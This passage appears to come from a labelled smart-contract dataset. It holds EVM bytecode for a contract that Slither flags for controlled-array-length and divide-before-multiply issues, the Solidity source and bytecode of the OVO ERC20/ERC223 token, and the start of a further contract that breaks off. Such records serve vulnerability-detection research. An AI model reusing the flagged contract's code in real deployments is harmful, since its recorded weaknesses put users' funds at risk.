565b336000908152600160208181526040808420600160a060020a039690961684529490529290205590565b60006012544310158015610d72575060125415155b15610d8d57506011805460ff19166001908117909155610da5565b601254431015610da557506011805460ff1916905560005b90565b600160a060020a0383166000908152600160209081526040808320338452909152812054821115610dd857600080fd5b600160a060020a0384166000908152600160209081526040808320338452909152902080548390039055610e0d848484611eb1565b5060019392505050565b6000806005836040518082805190602001908083835b60208310610e4c5780518252601f199092019160209182019101610e2d565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054600160a060020a031695945050505050565b60125490565b610e98612024565b610ea133611557565b15610eab57600080fd5b5060408051808201825233808252602080830186905260009182526004815292902084519192610ede929086019061203c565b50336005846040518082805190602001908083835b60208310610f125780518252601f199092019160209182019101610ef3565b51815160209384036101000a60001901801990921691161790529201948552506040519384900381018420805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039690961695909517909455505084518492600692879290918291908401908083835b60208310610f9f5780518252601f199092019160209182019101610f80565b51815160209384036101000a60001901801990921691161790529201948552506040519384900381019093208451610fe0959194919091019250905061203c565b5033600090815260076020908152604090912083516110019285019061203c565b50336000908152600860209081526040822082905560148054600181810180845592909452845160029091027fce6d7b5282bd9a3661ae061feed1dbda4e52ab073b1f9285be6e155d9c38d4ec81018054600160a060020a039390931673ffffffffffffffffffffffffffffffffffffffff19909316929092178255858401518051939487946110b7937fce6d7b5282bd9a3661ae061feed1dbda4e52ab073b1f9285be6e155d9c38d4ed01929091019061203c565b50503360009081526002602090815260408083208054600160ff1991821681179092556003909352922080549091169091179055505050505050565b6110fb61159e565b1515611120576011805461ff00191661010017905561111c43614380611fb6565b6012555b565b60008060006005846040518082805190602001908083835b602083106111595780518252601f19909201916020918201910161113a565b51815160209384036101000a60001901801990921691161790529201948552506040805194859003820190942054600160a060020a0316600090815260089091529290922054600d5490979088029650945050505050565b600954600160a060020a031633146111c857600080fd5b60138054600b919060001981019081106111de57fe5b9060005260206000209060030201600201908054600181600116156101000203166002900461120e9291906120ba565b5060138054600891600091600019810190811061122757fe5b60009182526020808320600390920290910154600160a060020a031683528201929092526040018120546013805460019290920192600892909190600019810190811061127057fe5b60009182526020808320600390920290910154600160a060020a03168352820192909252604001902055565b60006020819052908152604090205481565b600080606080606060136001601380549050038154811015156112cd57fe5b600091825260209091206003909102015460138054600160a060020a0390921696509060001981019081106112fe57fe5b9060005260206000209060030201600101549350601360016013805490500381548110151561132957fe5b600091825260209182902060026003909202018101805460408051601f6000196101006001861615020190931694909404918201859004850284018501905280835291929091908301828280156113c15780601f10611396576101008083540402835291602001916113c1565b820191906000526020600020905b8154815290600101906020018083116113a457829003601f168201915b505050505092506113d185611557565b156113e6576113df856116f3565b91506113f8565b60408051602081019091526000815291505b600160a060020a03851660009081526003602052604090205460ff16156114c257600160a060020a03851660009081526007602090815260409182902080548351601f6002600019610100600186161502019093169290920491820184900484028101840190945280845290918301828280156114b65780601f1061148b576101008083540402835291602001916114b6565b820191906000526020600020905b81548152906001019060200180831161149957829003601f168201915b50505050509050611550565b600c805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156115485780601f1061151d57610100808354040283529160200191611548565b820191906000526020600020905b81548152906001019060200180831161152b57829003601f168201915b505050505090505b9091929394565b600160a060020a03811660009081526002602052604081205460ff161561158057506001611584565b5060005b919050565b60105490565b600954600160a060020a031681565b601154610100900460ff1690565b60606115b782611557565b15156115c257600080fd5b600160a060020a03821660009081526007602090815260409182902080548351601f60026000196101006001861615020190931692909204918201849004840281018401909452808452909183018282801561165f5780601f106116345761010080835404028352916020019161165f565b820191906000526020600020905b81548152906001019060200180831161164257829003601f168201915b50939695505050505050565b600f5490565b61167c338383611eb1565b5050565b61168861159e565b151561169357600080fd5b6608e1bc9bf040003410156116a757600080fd5b6116b460125460f0611fb6565b601255600a54604051600160a060020a03909116903480156108fc02916000818181858888f193505050501580156116f0573d6000803e3d6000fd5b50565b60606116fe82611557565b151561170957600080fd5b600160a060020a03821660009081526004602090815260409182902080548351601f60026000196101006001861615020190931692909204918201849004840281018401909452808452909183018282801561165f5780601f106116345761010080835404028352916020019161165f565b600e5490565b600061178f60125443611fd0565b905090565b600954600090600160a060020a031633146117ae57600080fd5b6005826040518082805190602001908083835b602083106117e05780518252601f1990920191602091820191016117c1565b518151600019602094850361010090810a820192831692199390931691909117909252949092019687526040805197889003820190972054600160a060020a031660008181526007909252969020600c805497985061185797919650945060026001821615909402909101169190910490506120ba565b50600160a060020a031660009081526008602052604090208054600101905550565b60606006826040518082805190602001908083835b602083106118ad5780518252601f19909201916020918201910161188e565b518151600019602094850361010090810a820192831692199390931691909117909252949092019687526040805197889003820188208054601f600260018316159098029095011695909504928301829004820288018201905281875292945092505083018282801561165f5780601f106116345761010080835404028352916020019161165f565b3360009081526008602052604081205481101561196d5733600090815260086020526040902054600d540234101561196d57600080fd5b60138054600019810190811061197f57fe5b6000918252602090912060039091020154600160a060020a031690503381146119a757600080fd5b6013805483919060001981019081106119bc57fe5b906000526020600020906003020160020190805190602001906119e092919061203c565b505050565b6000836119f28185610d33565b15611af6576040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018790523060448401819052608060648501908152875160848601528751600160a060020a03871695638f4ffcb195948b94938b939192909160a490910190602085019080838360005b83811015611a8a578181015183820152602001611a72565b50505050905090810190601f168015611ab75780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015611ad957600080fd5b505af1158015611aed573d6000803e3d6000fd5b50505050600191505b509392505050565b600160a060020a038116600090815260086020526040902054600d548102915091565b600954600160a060020a03163314611b3857600080fd5b600954600160a060020a0316ff5b600160209081526000928352604080842090915290825290205481565b60135490565b303190565b6000611b7861212f565b611b8d601e611b88346064611fe2565b611ff9565b60135490925015611bcb57601380543491906000198101908110611bad57fe5b906000526020600020906003020160010154101515611bcb57600080fd5b6040805160608101825233815234602080830191909152600b80548451601f600260001961010060018616150201909316929092049182018490048402810184018652818152939485019392830182828015611c685780601f10611c3d57610100808354040283529160200191611c68565b820191906000526020600020905b815481529060010190602001808311611c4b57829003601f168201915b5050509190925250506013805460018101808355600092909252825160039091027f66de8ffda797e3de9c05e8fc57b3bf0ec28a930d40b0d285d93c06501cf6a09081018054600160a060020a0390931673ffffffffffffffffffffffffffffffffffffffff199093169290921782556020808501517f66de8ffda797e3de9c05e8fc57b3bf0ec28a930d40b0d285d93c06501cf6a0918301556040850151805195965093948694611d3e937f66de8ffda797e3de9c05e8fc57b3bf0ec28a930d40b0d285d93c06501cf6a0920192019061203c565b5050505034600e5401600e81905550611d573483611fd0565b600f8054919091019055600a54604051600160a060020a039091169083156108fc029084906000818181858888f19350505050158015611d9b573d6000803e3d6000fd5b505060108054600101905550565b60006012544310158015611dbe575060125415155b15611dcb57506001610da5565b601254431015610da557506000610da5565b600954600090600160a060020a03163314611df757600080fd5b6005826040518082805190602001908083835b60208310611e295780518252601f199092019160209182019101611e0a565b51815160209384036101000a600019018019909216911617905292019485525060408051948590038201852054858201825260048087527f4d69636b00000000000000000000000000000000000000000000000000000000878501908152600160a060020a03909216600081815291909452919091209451919550611857949350915061203c565b6000600160a060020a0383161515611ec857600080fd5b600160a060020a038416600090815260208190526040902054821115611eed57600080fd5b600160a060020a03831660009081526020819052604090205482810111611f1357600080fd5b50600160a060020a03808316600081815260208181526040808320805495891680855282852080548981039091559486905281548801909155815187815291519390950194927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3600160a060020a03808416600090815260208190526040808220549287168252902054018114611fb057fe5b50505050565b600082820183811015611fc557fe5b8091505b5092915050565b600082821115611fdc57fe5b50900390565b6000808284811515611ff057fe5b04949350505050565b60008083151561200c5760009150611fc9565b5082820282848281151561201c57fe5b0414611fc557fe5b60408051808201909152600081526060602082015290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061207d57805160ff19168380011785556120aa565b828001600101855582156120aa579182015b828111156120aa57825182559160200191906001019061208f565b506120b692915061214e565b5090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106120f357805485556120aa565b828001600101855582156120aa57600052602060002091601f016020900482015b828111156120aa578254825591600101919060010190612114565b6040805160608181018352600080835260208301529181019190915290565b610da591905b808211156120b657600081556001016121545600a165627a7a72305820737328e2021686950822503a82fc63bdb5d8e22b8b1ecd7fa1687878a0d045060029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 1,111 |
0x5B932f07fd6E8fEbe913f70C913cD0D1FfD3a0A7 | pragma solidity ^0.4.24;
// File: contracts/math/SafeMath.sol
/**
* Copyright (c) 2016 Smart Contract Solutions, Inc.
* Released under the MIT license.
* https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/LICENSE
*/
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/token/ERC20/ERC20Interface.sol
/**
* Copyright (c) 2016 Smart Contract Solutions, Inc.
* Released under the MIT license.
* https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/LICENSE
*/
/**
* @title
* @dev
*/
contract ERC20Interface {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/token/ERC20/ERC20Standard.sol
/**
* Copyright (c) 2016 Smart Contract Solutions, Inc.
* Released under the MIT license.
* https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/LICENSE
*/
/**
* @title
* @dev
*/
contract ERC20Standard is ERC20Interface {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) external returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) external returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* To avoid this issue, allowances are only allowed to be changed between zero and non-zero.
*
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) external returns (bool) {
require(allowed[msg.sender][_spender] == 0 || _value == 0);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev total number of tokens in existence
*/
function totalSupply() external view returns (uint256) {
return totalSupply_;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) external view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) external view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) external returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) external returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/token/ERC223/ERC223Interface.sol
/**
* Released under the MIT license.
* https://github.com/Dexaran/ERC223-token-standard/blob/master/LICENSE
*/
contract ERC223Interface {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function transfer(address to, uint256 value, bytes data) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/token/ERC223/ERC223ReceivingContract.sol
/**
* Released under the MIT license.
* https://github.com/Dexaran/ERC223-token-standard/blob/master/LICENSE
*/
/**
* @title Contract that will work with ERC223 tokens.
*/
contract ERC223ReceivingContract {
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint _value, bytes _data) public;
}
// File: contracts/ownership/Ownable.sol
/**
* Copyright (c) 2016 Smart Contract Solutions, Inc.
* Released under the MIT license.
* https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/LICENSE
*/
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: contracts/token/ERC223/ERC223Standard.sol
/**
* Released under the MIT license.
* https://github.com/Dexaran/ERC223-token-standard/blob/master/LICENSE
*/
/**
* @title Reference implementation of the ERC223 standard token.
*/
contract ERC223Standard is ERC223Interface, ERC20Standard {
using SafeMath for uint256;
/**
* @dev Transfer the specified amount of tokens to the specified address.
* Invokes the `tokenFallback` function if the recipient is a contract.
* The token transfer fails if the recipient is a contract
* but does not implement the `tokenFallback` function
* or the fallback function to receive funds.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
* @param _data Transaction metadata.
*/
function transfer(address _to, uint256 _value, bytes _data) external returns(bool){
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
uint256 codeLength;
assembly {
// Retrieve the size of the code on target address, this needs assembly .
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength>0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
emit Transfer(msg.sender, _to, _value);
}
/**
* @dev Transfer the specified amount of tokens to the specified address.
* This function works the same with the previous one
* but doesn't contain `_data` param.
* Added due to backwards compatibility reasons.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
*/
function transfer(address _to, uint256 _value) external returns(bool){
uint256 codeLength;
bytes memory empty;
assembly {
// Retrieve the size of the code on target address, this needs assembly .
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength>0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, empty);
}
emit Transfer(msg.sender, _to, _value);
return true;
}
}
// File: contracts/token/extentions/MintableToken.sol
/**
* Copyright (c) 2016 Smart Contract Solutions, Inc.
* Released under the MIT license.
* https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/LICENSE
*/
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is ERC223Standard, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
// File: contracts/DAICOVO/DaicovoStandardToken.sol
/**
* @title DAICOVO standard ERC20, ERC223 compliant token
* @dev Inherited ERC20 and ERC223 token functionalities.
* @dev Extended with forceTransfer() function to support compatibility
* @dev with exisiting apps which expects ERC20 token's transfer function berhavior.
*/
contract DaicovoStandardToken is ERC20Standard, ERC223Standard, MintableToken {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
/**
* @dev It provides an ERC20 compatible transfer function without checking of
* @dev target address whether it's contract or EOA address.
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
*/
function forceTransfer(address _to, uint _value) external returns(bool) {
require(_to != address(0x0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
}
// File: contracts/DAICOVO/OVOToken.sol
/**
* @title OVO Token
* @dev ERC20, ERC223 compliant mintable token.
* @dev Extended with icon field to indicate IPFS hash for the token icon image.
* @dev icon field compatible wallet app can load a token icon image from IPFS.
*/
contract OVOToken is DaicovoStandardToken {
string public icon;
constructor () public DaicovoStandardToken("ICOVO", "OVO", 9) {
icon = "QmXMDG2UnMQ7rFqxRN2LVA3ad2FLNTarDXZijdrctt8vpo";
}
} | 0x6080604052600436106101065763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461010b57806306fdde0314610134578063095ea7b3146101be57806318160ddd146101e257806323b872dd14610209578063313ce5671461023357806340c10f191461025e578063661884631461028257806370a08231146102a65780637d64bcb4146102c75780638da5cb5b146102dc57806395d89b411461030d578063a9059cbb14610322578063be45fd6214610346578063c557b98514610377578063d73dd6231461038c578063dd62ed3e146103b0578063f2fde38b146103d7578063ffb0885d146103fa575b600080fd5b34801561011757600080fd5b5061012061041e565b604080519115158252519081900360200190f35b34801561014057600080fd5b5061014961043f565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561018357818101518382015260200161016b565b50505050905090810190601f1680156101b05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ca57600080fd5b50610120600160a060020a03600435166024356104cd565b3480156101ee57600080fd5b506101f761056d565b60408051918252519081900360200190f35b34801561021557600080fd5b50610120600160a060020a0360043581169060243516604435610573565b34801561023f57600080fd5b506102486106d8565b6040805160ff9092168252519081900360200190f35b34801561026a57600080fd5b50610120600160a060020a03600435166024356106e1565b34801561028e57600080fd5b50610120600160a060020a03600435166024356107ea565b3480156102b257600080fd5b506101f7600160a060020a03600435166108da565b3480156102d357600080fd5b506101206108f5565b3480156102e857600080fd5b506102f161099b565b60408051600160a060020a039092168252519081900360200190f35b34801561031957600080fd5b506101496109aa565b34801561032e57600080fd5b50610120600160a060020a0360043516602435610a05565b34801561035257600080fd5b5061012060048035600160a060020a0316906024803591604435918201910135610bab565b34801561038357600080fd5b50610149610d08565b34801561039857600080fd5b50610120600160a060020a0360043516602435610d63565b3480156103bc57600080fd5b506101f7600160a060020a0360043581169060243516610dfc565b3480156103e357600080fd5b506103f8600160a060020a0360043516610e27565b005b34801561040657600080fd5b50610120600160a060020a0360043516602435610ebc565b60035474010000000000000000000000000000000000000000900460ff1681565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104c55780601f1061049a576101008083540402835291602001916104c5565b820191906000526020600020905b8154815290600101906020018083116104a857829003601f168201915b505050505081565b336000908152600160209081526040808320600160a060020a038616845290915281205415806104fb575081155b151561050657600080fd5b336000818152600160209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b6000600160a060020a038316151561058a57600080fd5b600160a060020a0384166000908152602081905260409020548211156105af57600080fd5b600160a060020a03841660009081526001602090815260408083203384529091529020548211156105df57600080fd5b600160a060020a038416600090815260208190526040902054610608908363ffffffff610f8b16565b600160a060020a03808616600090815260208190526040808220939093559085168152205461063d908363ffffffff610f9d16565b600160a060020a0380851660009081526020818152604080832094909455918716815260018252828120338252909152205461067f908363ffffffff610f8b16565b600160a060020a0380861660008181526001602090815260408083203384528252918290209490945580518681529051928716939192600080516020610fb4833981519152929181900390910190a35060019392505050565b60065460ff1681565b600354600090600160a060020a031633146106fb57600080fd5b60035474010000000000000000000000000000000000000000900460ff161561072357600080fd5b600254610736908363ffffffff610f9d16565b600255600160a060020a038316600090815260208190526040902054610762908363ffffffff610f9d16565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a03851691600091600080516020610fb48339815191529181900360200190a350600192915050565b336000908152600160209081526040808320600160a060020a03861684529091528120548083111561083f57336000908152600160209081526040808320600160a060020a0388168452909152812055610874565b61084f818463ffffffff610f8b16565b336000908152600160209081526040808320600160a060020a03891684529091529020555b336000818152600160209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600354600090600160a060020a0316331461090f57600080fd5b60035474010000000000000000000000000000000000000000900460ff161561093757600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600160a060020a031681565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104c55780601f1061049a576101008083540402835291602001916104c5565b33600090815260208190526040812054833b906060908390610a2d908663ffffffff610f8b16565b3360009081526020819052604080822092909255600160a060020a03881681522054610a5f908663ffffffff610f9d16565b600160a060020a038716600090815260208190526040812091909155831115610b7157506040517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523360048201818152602483018790526060604484019081528451606485015284518994600160a060020a0386169463c0ee0b8a9490938b93899360840190602085019080838360005b83811015610b0a578181015183820152602001610af2565b50505050905090810190601f168015610b375780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015610b5857600080fd5b505af1158015610b6c573d6000803e3d6000fd5b505050505b604080518681529051600160a060020a038816913391600080516020610fb48339815191529181900360200190a350600195945050505050565b33600090815260208190526040812054853b908290610bd0908763ffffffff610f8b16565b3360009081526020819052604080822092909255600160a060020a03891681522054610c02908763ffffffff610f9d16565b600160a060020a038816600090815260208190526040812091909155821115610cd057506040517fc0ee0b8a000000000000000000000000000000000000000000000000000000008152336004820181815260248301889052606060448401908152606484018790528993600160a060020a0385169363c0ee0b8a9390928b928b928b929091608401848480828437820191505095505050505050600060405180830381600087803b158015610cb757600080fd5b505af1158015610ccb573d6000803e3d6000fd5b505050505b604080518781529051600160a060020a038916913391600080516020610fb48339815191529181900360200190a35050949350505050565b6007805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104c55780601f1061049a576101008083540402835291602001916104c5565b336000908152600160209081526040808320600160a060020a0386168452909152812054610d97908363ffffffff610f9d16565b336000818152600160209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b600354600160a060020a03163314610e3e57600080fd5b600160a060020a0381161515610e5357600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000600160a060020a0383161515610ed357600080fd5b33600090815260208190526040902054821115610eef57600080fd5b33600090815260208190526040902054610f0f908363ffffffff610f8b16565b3360009081526020819052604080822092909255600160a060020a03851681522054610f41908363ffffffff610f9d16565b600160a060020a03841660008181526020818152604091829020939093558051858152905191923392600080516020610fb48339815191529281900390910190a350600192915050565b600082821115610f9757fe5b50900390565b600082820183811015610fac57fe5b93925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820d55b381920882a108831e64076ad7e8146c5038b8db6ca878e98a2ac9794fa500029 | {"success": true, "error": null, "results": {}} | 1,112 |
0x4d77686eC56B2704707306BAD1078297BBf6fbc8 | /**
*Submitted for verification at Etherscan.io on 2021-09-18
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
// Part: IUpgradeSource
interface IUpgradeSource {
function shouldUpgrade() external view returns (bool, address);
}
// Part: OpenZeppelin/[email protected]/Address
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
